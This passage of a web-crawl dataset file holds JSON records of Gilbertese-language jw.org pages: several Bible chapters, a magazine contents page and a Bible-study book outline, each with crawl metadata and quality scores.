1.0000100135803223}","num_words":440,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nAna areru Tawita. 144 Ke e karaoiroaki Iehova ae au Bwaa,+Are e kataneiai baiu nakon te un,Ao tabonibaiu nakon te buaka.+ 2 E kaotiota nakoiu te tangira ae koaua,* ao bon au nono ngaia,Au tabo ni kamanomano ae mano raoi* ao te tia kamaiuai,Au otanga ao Teuare I kamanoai irouna,+Boni Ngaia are e kataenikaiia botannaomata i aau.+ 3 Iehova, tera te aomata ngkai ko riai n tabe irouna,Ao natin te aomata ae mamate ngkai ko riai ni mutiakinna?+ 4 Titeboo te aomata ma kaanga te ikeike ae tii teuana,+Ao ana bong ai aron te nuu ae kai mauna.+ 5 Karinanoa* am karawa ao ruuo rikaaki,+Ringi taiani maunga ao kabubui.+ 6 Kaitiruaa te iti ao kamaenakoia taani kairiribai,+Katebenakoi kanoan am kainikatebe ao kamangaoia+ taani kairiribai. 7 Arori baim mai eta,Kainaomataai ao kamaiuai man taian nao,Ao mai nanoni baia ianena+ 8 Ake a tataekini keewe wia,Ao a katei baia ae te atai n taetae n tuea n te bwai ae kewe.* 9 N na anenea te kuna ae boou nakoim, ngkoe ae te Atua.+ N na anene n neboiko* n te bwai ni katangitang ae tebwina karaina, 10 Nakon Teuare anga te tokanikai* nakoia ueea,+Teuare kamaiua ana toro are Tawita man te kabaang ae kamamate.+ 11 Kainaomataai ao kamaiuai mai nanoni baia ianena,Ake a tataekini keewe wiaAo a katei baia ae te atai n taetae n tuea n te bwai ae kewe. 12 A na riki ngkanne natira mwaane bwa kaanga aroka aika tawe rikirakeia,Ao natira aine bwa kaanga bouan te maninganinga aika kaaraki ibukin te baareti. 13 A na on ara auti ni kaikobwai n uaa n aekaia nako,Ao a na mwaiti ara nanai ni man n ara tawaana, n te mwaiti ae nga ma nga, ke tatabebwi tenga. 14 Ao ara kao aika bikoukou, a na aki kabuanibwai ke ni bwaka natiia. E na akea te tang ibukin te rawawata ni maraen nako ara kaawa. 15 A a kukurei aomata ake aroia aei! A a kukurei aomata ake Atuaia Iehova!+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/144\/","date":"2018-01-23T00:52:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891546.92\/warc\/CC-MAIN-20180122232843-20180123012843-00421.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":349,"character_repetition_ratio":0.045,"word_repetition_ratio":0.035,"special_characters_ratio":0.236,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n12 \"E amwamwarake Eberaim n te ang. E kaea te angimainiku ni kabongnga. E kabatiaa te kewekewe ao te iowawa. E karaoa te berita ma Aturia+ ao a uota te oera nako Aikubita.+ 2 Iai ana tangitang Iehova ni kaitaraa Iuta.+ E na kaeta taekan Iakoba n ekianako ni kaineti ma arona nako,Ao e na manga anganna booni mwin ana mwakuri.+ 3 E taua bukini waen tarina i nanon te biroto,+Ao e kabokorakora ma te Atua ni korakorana.+ 4 E teimatoa ni kabokorakora ma te anera ao e tokanikai. E tang ao e bubutii akoana mairouna.\"+ E kunea teuaei i Betaera te Atua, ao ikanne are E taetae iai ma ngaira,+ 5 Iehova ae Atuaia taanga ni buaka.+ Bon Iehova arana ae kanuringana.*+ 6 \"Mangaia ae okira Atuam,+Kateimatoa te tangira ae koaua* ao te kaetitaeka ae riai,+Ao kabotoa am kantaninga n taai nako i aon Atuam. 7 Ma e mena i nanoni bain te tia iokinibwai te kainikatine ae mwamwanaa te aba. A kani babakanikawaia te aba.+ 8 E teimatoa ni kangai Eberaim, 'Ni koauana, e a bati au bwai,+Ao e a reke irou te kaubwai.+ A na aki kunea te bwai teuana ae kairua ke ae bure i buakon au mwakuri korakora ni kabane.' 9 Ma bon Iehova ngai ae Atuam man* te aba are Aikubita.+ N na manga kamaekako n taian umwanrianna,N aron are ni bongin te tai ae baireaki.* 10 I taetae nakoia burabeti,+Ao I kabatiai aia miitara,Ao I taekini kaikonaki rinanoia burabeti. 11 E mena te mwamwanaa te aba* ao te kewe i Kireata.+ A kareani kaao mwaane i Kirekara,+Ao aia baonikarea kaanga ai aroni bwariko n atibu n te tawaana ae kamarauaki tanona.+ 12 E birinako Iakoba nako aonon* Aram,*+Ao e beku ikekei Iteraera+ ibukini buuna,+Ao e tararuaiia tiibu ibukini buuna.+ 13 E kaotinakoa Iteraera mai Aikubita Iehova rinanon te burabeti,+Ao e kairaki iroun te burabeti.+ 14 E kauna te Atua Eberaim n te aro ae riao,+Ao e tiku i aona ana katuturaraa,Ao ana Uea e na manga anganna booni mwin te kamaamaeaki are e karokoa i aona.\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/otea\/12\/","date":"2018-01-16T17:29:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886476.31\/warc\/CC-MAIN-20180116164812-20180116184812-00715.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":363,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI May 2015\nATUN TE MAEKATIN\nKo ataia ae e boni kakukurei rongorongon \"te toki\" ae taekinaki n te Baibara?\nATUN TE MAEKATIN\nIangoi kanoani kanikinaean te toki aika aua aika kabwarabwaraaki n te Baibara aika katauraoa kaekaan anne.\nATUN TE MAEKATIN\nMa n te aro raa? Mani kaikoan am bwai ke ni katauraoani bwaai n rabwata riki tabeua ibukin te toki?\nA boutokaaki baika koreaki n te Baibara ni baika kuneaki irouia taan rabakau? N ningai te tai ae a mauna iai raian man aaba ake a taekinaki n te Baibara?\nE BITII MAIUIA AOMATA TE BAIBARA\nE a riki bwa anuani maiun Normand Pelletier babakanikawaian te aomata. Ma e bon rotaki n te tang imwini warekan te kibu teuana man te Baibara.\nKAKAIRI N AIA ONIMAKI\nE a tia n rotaki am utu n te bakantang ke te kairiribai? Ngkana ngaia anne, ko kona ni buokaki n rongorongon Ioteba n te Baibara.\nBukin tera ngkai tenga te ririki maanin te Bong ni Motikitaeka?\nBaika Tibwa Rin Riki n te Intanete\nReiakina te bae ko na kariaa ngkana e a kairiri ana tautaeka te Atua n te aonnaba ni kabutaa.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150501\/","date":"2018-01-19T05:52:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887746.35\/warc\/CC-MAIN-20180119045937-20180119065937-00754.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":191,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.372,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n30 \"Ngkana a roko i aomi taeka aikai ni kabane, ae te kakabwaia ma te rekenikai aika I kaaki i matami,+ ao kam uringi*+ i buakoia natannaomata nako aika e kamaenakoingkami i buakoia Iehova ae Atuami,+ 2 ao kam okira Iehova ae Atuami+ ma nanomi ni kabane ao maiumi ni kabane, ao n ongo ni bwanaana ni kaineti ma bwaai ni kabane aika I tua nakoimi n te bong aei, ngkami ma natimi mwaane,+ 3 ao e na manga kaokiia ami koraki aika taenikai Iehova ae Atuami,+ ao e na nanoangaingkami+ ma ni manga ikotiingkami mai buakoia botannaomata nako aika e kamaenakoingkami i buakoia Iehova ae Atuami.+ 4 E ngae naba ngkana a maenako ami aomata nako tabon aonnaba, ma e na manga ikotiingkami Iehova ae Atuami mai ikekei ao ni manga kaokingkami.+ 5 E na kairingkami Iehova ae Atuami nakon te aba are a abanna tamami, ao kam na abanna, ao e na katoronibwaingkami ao e na kamwaitingkami riki nakoia tamami.+ 6 E na kaitiakii* nanomi Iehova ae Atuami ao nanoia kanoami,+ bwa kam aonga n tangira Iehova ae Atuami ma nanomi ni kabane ao maiumi* ni kabane, ao kam na maiu.+ 7 Ao e na karokoi rekenikai aikai ni kabane Iehova ae Atuami, i aoia taani kairiribai nakoimi aika ribaingkami ma ni bwainikiriningkami.+ 8 \"Kam na oki ngkanne ao n ongo ni bwanaan Iehova, ao ni kakairi n ana tua ni kabane aika I tua nakoimi n te bong aei. 9 E na karaoingkami Iehova ae Atuami bwa kam na rangi ni kaubwai n aia mwakuri nako baimi,+ e na kamwaitiia natimi ao ami nanai ni man ao uaan ami tano, bwa e na manga rangi ni kimwareirei Iehova ni katoronibwaingkami, n arona ngkoa n rangi ni kimwareirei irouia ami bakatibu.+ 10 Bwa ane kam na ongo ngkanne ni bwanaan Iehova ae Atuami, ao ni kawakin ana tua ma ana kaetieti aika koreaki ni bokin te Tua aei, ao kam na okira Iehova ae Atuami ma nanomi ni kabane ao maiumi* ni kabane.+ 11 \"Bwa e aki rangi ni kangaanga iroumi te tua aei ae I tua nakoimi n te bong aei, ao e aki naba riaon ami konaa.*+ 12 E aki mena i karawa n ae kam na kangai, 'Antai ae e na waerake nako karawa ao n anaia ibukira, bwa ti aonga n ongo ao ni kakairi iai?'+ 13 E aki naba mena n iteran taari are teuana n ae kam na kangai, 'Antai ae e na rinanon taari nakon iterana are teuana ao n anaia ibukira, bwa ti aonga n ongo ao ni kakairi iai?' 14 Bwa e rangi ni kaan ma ngkami te taeka bwa ane i nanoni wimi ao i nanomi,+ bwa kam aonga ni karaoia.+ 15 \"Noria, I kaaki i matami n te bong aei te maiu ao te raoiroi, ao te mate ao te buakaka.+ 16 Ngkana kam ongo n ana tua Iehova ae Atuami aika I tua nakoimi n te bong aei, n aromi n tangira Iehova ae Atuami,+ n nakonako ni kawaina nako, ao ni kawakin ana tua ma ana kaetieti ao ana moti, ao ane kam na maiu+ ao ni mwaiti, ao e na kakabwaiaingkami Iehova ae Atuami n te aba ane kam nang abanna.+ 17 \"Ma ngkana a rairakinako nanomi+ ao kam aki ongo, ao e anaaki nanomi bwa kam na bobaraaki nakoia atua riki tabeman ao n toro irouia,+ 18 ao I tuangingkami n te bong aei bwa kam na boni mate.+ E na aki abwabwaki maiumi n te aba ane kam a rinanon te Ioretan nakon iterana, bwa kam na abanna. 19 I karikiia kaaini karawa ni kabane ma aonnaba bwa au tia kakoaua ni kaaitaraingkami n te bong aei, ae I a tia ni kaaki i matami te maiu ao te mate, te kakabwaia ao te rekenikai,+ ao kam na rinea te maiu bwa kam aonga ni maiu,+ ngkami ma kanoami,+ 20 n aromi n tangira Iehova ae Atuami,+ n ongo ni bwanaana, ao n nimtia,+ bwa boni ngaia maiumi ao mairouna abwabwakin ami tai n te aba are e beritanna Iehova, bwa e na angania ami bakatibu ake Aberaam, Itaaka, ao Iakoba.\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/30\/","date":"2018-01-23T16:44:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891980.75\/warc\/CC-MAIN-20180123151545-20180123171545-00099.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":703,"character_repetition_ratio":0.098,"word_repetition_ratio":0.029,"special_characters_ratio":0.24,"stopwords_ratio":0.486,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n7 \"N te tai are I kamarurunga iai Iteraera,Ao e a kaotaraeaki naba ana bure Eberaim,+Ma buakakan Tamaria.+ Bwa a mwamwanaa te aba,+Ao a urubwai ma ni kimoa taan iraa, ao a kuribwai i tinaniku taani kuribwai.+ 2 Ma a aki taekinna i nanoia ae N na uringi buakakaia ni kabane.+ A a otabwaniniaki ngkai n aia mwakuri. A boni mena raoi i matau. 3 A kakimwareireia te uea ni buakakaia,Ao tooka n aia mwamwanaa te aba. 4 Bon taani wene ni kimoa ngaiia ni kabane Aika bue n aron te ai n umum ae kauraaki iroun te tia umum,Ae e katoka kakibean te ai ngke e kaboboa te bua ni burawa ni karokoa ae e a riki. 5 N aia bong ara uea ao a aoraki tooka,Ao a korakora unia ibukin te wain.+ E arora baina nakoia taani bwainingare. 6 Bwa a keerake ma nanoia ae bue n aron te ai n umum.* E matu ni kangainaa te tia umum,Ao e urarake te ai n umum ngke e a ingabong n aron uran te ai. 7 A bane ni kabuebue n aron te ai n umum,Ao a kamaunaia aia tia tautaeka.* A bane ni bwaka aia uea,+Ao akea i buakoia ae e wewete nakoiu.+ 8 E reitaki Eberaim ma natannaomata.+ Titeboo Eberaim ma te bwerena ae mronron ae tiku n aki rairaki. 9 A a tia ianena ni kana korakoran teuaei+ ma e aki ataia. Ao e a mainaina atuna n irannatuna aika iaia, ma e aki ataia naba. 10 E kaotioti kainikatongan Iteraera ni boni kaitaraa,+Ma a aki okira Iehova ae Atuaia,+Ao a aki naba ukoukoria n aki ongei baikai ni kabane. 11 Titeboo Eberaim ma te taobe ae nanobaba, ae e aki ataa ae riai.*+ A wewetea Aikubita,+ ao a nako Aturia.+ 12 N na taakina au karaun i aoia n taabo ake a nako iai. N na kabwakaia n aroia mannikiba ake i annang. N na reireinia ni kaetiia ni kaineti ma te taeka ni kauring are a anganaki aia koraki ake a ikotaki.+ 13 Ke e reke kaia, bwa a birinako mairou! Ke e roko te urubwai irouia, bwa a bure nakoiu! I tauraoi ni manga kabooia, ma a taekini keewe n ekainako.+ 14 A aki wewete nakoiu mai nanoia ibukini buokaia,+E ngae ngke a teimatoa n tanginiwenei i aoni nneia ni wene. A korokoreiia i bon irouia ibukin aia uita* ao aia wain ae boou. A rairaki n ekainako. 15 E ngae ngke I reireinia ni kaetiia ao ni kakorakorai anganibaia,Ma a ekainako ni bairea te bae buakaka. 16 A bitii kawaia ma tiaki nakon te bwai ae rietata riki.* A aki kona n onimakinaki n aron te kainikatebe ae bwakee.+ A na bwaka aia toka n te kabaang ibukin neweia aika kakaaitara. A na riki bwa te bwai ni bwainingareaki ibukin aei, n te aba ae Aikubita.\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/otea\/7\/","date":"2018-01-18T05:15:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887065.16\/warc\/CC-MAIN-20180118032119-20180118052119-00219.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":492,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera Ana Reirei ni Koaua te Baibara?\nE katauraoaki te bwai ni mwakuri aei ibukin reiakinan te Baibara bwa buokam n ataa ae taekinaki iai i aon reirei aika kakaokoro, n aron ae bukin tera bwa ti rawawata, tera ae riki n te mate, aroni karekean te maiu n utu ae kakukurei, ao a a bati riki.\nKo bae ni mimi ngkai a rangi ni bati kangaanga ni boong aikai. Ko ataia ae e taekinaki n te Baibara bitaki ni koaua aika i aoni kawaia n roko ao ko kona ni kakabwaiaaki iai?\nMWAKORO 1\nKo iangoia bwa e mutiakiniko te Atua? Reiakina aroarona ao arom ni kaania.\nMWAKORO 2\nKo na kangaa ni buokaki man te Baibara bwa ko na tokanikai i aon am kangaanga nako? E aera ngkai ko onimakini taetae ni burabeti ake iai?\nMWAKORO 3\nE kona n ataaki ana kantaninga te Atua ibukin te aonnaba ae bwaretaiti? Ngkana ngaia anne, ao N ningai?\nMWAKORO 4\nKo ataia, bwa e aera ngkai e riki Iesu bwa te Mesia are beritanaki, E roko mai ia, ao e aera ngkai tii ana rikitemanna te Atua.\nMWAKORO 5\nTera te kaboomwi? Ko na kangaa ni kakabwaiaaki iai?\nMWAKORO 6\nReiakina te bae taekinaki n te Baibara ni kaineti ma te tabo ae a mena iai maate ao bukini mateia aomata.\nMWAKORO 7\nIai te aomata ae tangiraki iroum ae e a tia ni motirawa man te maiu aei? Iai te tai teuana ae ko na manga kaitiboo man gaia? Reiakina te bae taekinaki n te Baibara ibukin te mangauti.\nMWAKORO 8\nA bati aomata ae ataa ana Tataro te Atua. Tera ae nanonaki n te taeka ae: \"E bia roko am Tautaeka n Uea\"?\nMWAKORO 9\nIangoia bwa a kangaa waaki ma aroaro aika ti nonori, ni kaota koauan ae ti a maeka ngkai ni \"kabaneani boong\" n aron are e a kaman taekinna n te Baibara.\nMWAKORO 10\nE taekinna te Baibara bwa iai anera ao taimonio. Bon iai anera aika raoiroi ao aika buakaka aikai? Tera aron rotakini maium irouia?\nMWAKORO 11\nA a bati ake a iangoia ae te Atua boni ngaia ae karika te rawawata n te aonnaba aei. Tera am iango iai? Ataa te bae e taekinna te Atua ibukin rikin te rawawata.\nMWAKORO 12\nE boni kona n reke te maiu ae kakukureia te Atua. Ni koauana, ko kona n riki bwa raoraona.\nMWAKORO 13\nTera ana iango te Atua ni kabwakaan te teei, te karin raraa, ao maiun te man?\nMWAKORO 14\nTe tangira are kaotiotia Iesu bon te katoto ae a kona ni kakairi iai buumwaane, buuaine, kaaro, ao ataei. Tera reireiara mairouna?\nMWAKORO 15\nIangoi kanikina aika onoua ae a kinaaki iai kaain te Aro ae koaua.\nMWAKORO 16\nBaikara kangaanga aika ko kona n aitara ma ngaai ngkana ko tibwaanako am koaua nakoia aomata? Ko na kangaa ni karaoa anne n aki kaunia?\nMWAKORO 17\nE ongora te Atua ngkana ko tataro? Ni kaekaan anne, ko riai n ota n ana reirei te Baibara ibukin te tataro.\nMWAKORO 18\nBaikara mwaneka aika a na katauko nakon te bwabetito ni Kristian? Ko riai n ataia bwa tera nanona ao e na kangaa ni karaoaki.\nMWAKORO 19\nTi na kangaa ni kaotiota te tangira ao te kakaitau ibukini bwaai ni kabane aika e karaoi te Atua?\nBUKINIBAA\nE a tia ni kanakoaki aran te atua man rairani Baibara aika bati. Bukin tera? E kakawaki kabonganaan aran te Atua?\nBUKINIBAA\nE raka i aon 500 te ririki n nako ao te Atua e kaota te tai raoi are e na roko iai te Mesia. Reiakina taekan te taetae ni burabeti ae rangi n anainano aei!\nBUKINIBAA\nE kakororaoi Iesu taetae ni burabeti nako aika n te Baibara aika kaineti ma te Mesia. Kakoauaa n am Baibara ae taetae ni burabeti aikai a boni bane ni kakoroaki nanoia.\nBUKINIBAA\nA bati aomata aika kakoauaa ae e reiakinaki n te Baibara te Temanna n teniman. E koaua anne?\nBUKINIBAA\nE boni mate Iesu i aon te kaibangaki? Wareka kaekaana man te Baibara.\nBUKINIBAA\nE kateaki te tua nakoia Kristian bwa a na kakaraoa Kauringani mateni Kristo. N ningai ao n te aro raa ae e na karaoaki iai?\nBUKINIBAA\nA bati aika iangoia bwa ngkana e mate te aomata, ao iai rabwatana ae aki nonoraki ae kitana te rabwata ao n teimatoa ni maiu. Tera ae taekinaki n Ana Taeka te Atua?\nBUKINIBAA\nTabeua rairai n te Baibara a kabongana te taeka ae ruanimate ke moone ibukin Tiore ao Eriti. Tera raoi nanon taeka aikai?\nBUKINIBAA\nReiakinan te Bong ni Motikitaeka bon te kakabwaia nakoia aomata aika kakaonimaki.\nBUKINIBAA\nBaikara bwaa ni kakoaua bwa e namataki te ririki ae 1914?\nBUKINIBAA\nE kaotaki n te Baibara kabwarabwaraan te anera ae mataniwia anera ae mwaaka aei. Reiakina ae bati riki ibukina ao te bwai ae karaoia ngkai.\nBUKINIBAA\nE taekinaki n te boki ae Te Kaotioti taekan te aine ae arana \"Baburon ae Kakannato.\" Bon te aine ni koaua? Tera ae taekinaki n te Baibara ibukin te aine aei?\nBUKINIBAA\nIangoa tauani kanoan te bong n te tai anne i nanon te ririki ngke e bungiaki Iesu. Tera ae ti tuangaki n anne?\nBUKINIBAA\nA moan riki mai ia boong ni motirawa aika bati aika taabangaki karaoakia n am tabo? Ko bae ni kubanako ni kaekaaia.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ana-reirei-te-baibara\/","date":"2018-01-23T11:11:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891886.70\/warc\/CC-MAIN-20180123091931-20180123111931-00527.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":870,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n21 Ao e a wene ni motirawa Ieotiabata i rarikia ana bakatibu ao e kaiiaki i rarikia ana bakatibu n Ana Kaawa Tawita, ao e a riki Ioram are natina bwa te uea n onea mwina.+ 2 Ao tarina ake natin Ieotiabata bon Ataria, Ieiera, Tekaria, Ataria, Mikaere, ao Tebatia. Aikai ni kabane natin te Uea are Ieotiabata aika mwaane are uean Iteraera. 3 Ao e a tia tamaia n angania bwaintituaraoi aika bati aika tirewa ma koora, ma bwaai aika kakawaki n ikotaki ma kaawan Iuta aika nonoaki.+ Ma e anga te tautaeka n uea nakon Ioram,+ bwa te karimoa ngaia. 4 Ngke e a kairiri Ioram n ana tautaeka n uea tamana, ao e a kamatoaa nakoana n arona n tiringia tarina ni kabane+ n te kabaang, n ikotaki ma tabeman tokan Iteraera. 5 Bon 32 ana ririki Ioram ngke e a riki bwa te uea, ao e tautaeka i Ierutarem i nanoni wanua te ririki.+ 6 E nakonako ni kawaia uean Iteraera,+ n aron are a karaoia ana utu Aaba, bwa e riki natin Aaba te aine bwa buuna,+ ao e teimatoa teuaei ni karaoa ae buakaka i matan Iehova. 7 Ma e aki kani kamauna batan Tawita Iehova ibukin te berita are e karaoia ma Tawita,+ bwa e a tia ni berita nakoina bwa e na anga te taura nakoina ma natina n taai nako.+ 8 N ana bong teuaei ao e a karitei Etom n ekaanako Iuta+ ao e a karekea oin ana uea.+ 9 Mangaia are e mwananga Ioram ma ana mataniwi ao ana kaa ni buaka ni kabane, ao e teirake n te bong ao e kataei aia kai tibun Etom ake a otabwaninia ma mataniwin taiani kaa ni buaka. 10 Ma e teimatoa Etom ni karitei n ekaanako Iuta ni karokoa te bong aei. E karitei naba Ribena+ n te tai anne n ekaanako teuaei, ibukina bwa e kitana Iehova ae Atuaia ana bakatibu.+ 11 E karaoi naba taabo aika rietata+ i aoni maungan Iuta, ni kairiia iai kaain Ierutarem bwa a na aki kakaonimaki nakon te Atua,* ao e katiotionakoia kaain Iuta. 12 N tokina ao e a roko irouna te rongorongo ae koreaki mairoun Eria+ are te burabeti, ae kangai: \"E kangai ana taeka Iehova ae Atuan Tawita are am bakatibu, 'Ko aki nakonako ni kawain nako tamam are Ieotiabata+ ke ni kawain nako Ata+ are Uean Iuta. 13 Ma ko nakonako ni kawaia uean Iteraera+ ao ni kairiia kaain Iuta ma kaain Ierutarem bwa a na aki kakaonimaki nakon te Atua,*+ n ai aron aia aki kakaonimaki kaain ana utu Aaba,+ ao ko tiringia naba oin tarim+ aika kaaini batan tamam, aika raoiroi riki nakoim. 14 Mangaia ae e na karokoa te kai ae kamamate Iehova nakoia am aomata, nakoia natim mwaane, nakoia buum, ao nakon am bwai ni kabane. 15 Ao ko na karawawataaki n aoraki aika bati, n ikotaki ma aorakini kanoannanom, ni karokoa ae a nnanako kanoannanom n te bong teuana ma teuana ibukin te aoraki.'\" 16 Ao Iehova e a kauekei nanoia+ I-Biritia+ ma I-Arabia+ ake a uakaan ma I-Itiobia, bwa a na ekaanako Ioram. 17 Mangaia are a ninia Iuta ao a kakorakoraia ni karekea kawaia n rin ma n uotiinako bwaai ni kabane ake a noraki n ana auti* te uea,+ n ikotaki naba ma natina mwaane ao buuna nako, ao tii natina are e tiku irouna bon Ieoaatia,*+ are ana bina. 18 Imwini baikai ni kabane ao e a oreia Iehova n aorakini kanoannanona, ae akea katokana.+ 19 Tabeua te tai imwina, ngke a a bwakanako ririki raoi aika uoua, ao a a nnanako kanoannanona, ao e mate i nanoni karawawataana ae bati n aorakina, ao a aki kauraa te ai ibukina ana aomata n aroni kauraan te ai ibukia ana bakatibu.+ 20 Bon 32 ana ririki ngke e riki bwa te uea, ao e tautaeka i Ierutarem i nanoni wanua te ririki. Akea temanna ae uringaaba ngke e mate. Mangaia are a kaiia n Ana Kaawa Tawita,+ ma tiaki ni nneni kaweneaia ueea ake a mate.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-rongorongo\/21\/","date":"2018-01-23T06:19:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00743.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":687,"character_repetition_ratio":0.052,"word_repetition_ratio":0.018,"special_characters_ratio":0.237,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n5 N te katenua ni bong+ ao e a karin ana kamwarai Etita ake kunnikaina n uea ao e tei ni katawanangin ana auti te uea are mai nanona, ni kaitaraa ana auti* te uea, ngke e tekateka te uea i aon ana kaintokanuea n ana auti ni kaitaraa te tabo n rin. 2 Ao te uea ngke e nora naba ngkekei te Ueannaine are Etita n tei n te katawanang, ao e reke akoan neiei irouna, ao e a arora okona ae te koora+ are i nanoni baina nakon Etita. E keerake ngkanne Etita ao e ringa tabon te oko. 3 E titiraki te uea nakon neiei ni kangai: \"Etita ae te Ueannaine, tera ae riki? Tera am bubutii? E ngae naba ngkana ko bubutii iteran ueau, ma ko na bon anganaki naba!\" 4 E kaeka ni kangai Etita: \"Ngkana e kukurei iai te uea, ao e bia roko n te bong aei te uea ma Aman+ nakon te baka n amwarake ae I a tia ni katauraoia ibukina.\" 5 Ngaia are e taku te uea nakoia ana rorobuaka: \"Tuanga Aman bwa e na kawaekoaa n nakomai ni kaineti ma ana bubutii Etita.\" Mangaia are e nako te uea ma Aman nakon te baka n amwarake are e katauraoia Etita. 6 Ngke e a boo te moi wain ao e a taku te uea nakon Etita: \"Tera am bubutii? Ko na bon anganaki! Ao tera ae ko onnon ibukina? E ngae naba ngkana ko bubutii iteran ueau, ma e na boni karaoaki naba!\"+ 7 Ao e kaeka ni kangai Etita: \"Aio au bubutii ma au onnon: 8 Ngkana ngaia bwa e reke akoau iroun te uea ao ngkana e kukurei te uea n anganai au bubutii ao ni karaoa nanon au onnon, ao e bia roko te uea ma Aman nakon te baka n amwarake ae N na karaoia ibukia ningabong, ao N na karaoa ningabong ae e taku te uea.\" 9 N te bong anne ao e a otinako Aman ma te kimwareirei ao kukurein nanona. Ma ngke e nora Moretekai ni mataroan ana oo te uea, ao e noria Aman bwa e aki teirake ma ni maaku i matana, ao e kororake unin Aman irouni Moretekai.+ 10 Ma e taotaona nanona Aman ao e nakon ana auti. Ao e a kanaanako bwa a na weteaki raoraona ao Tireti+ are buuna. 11 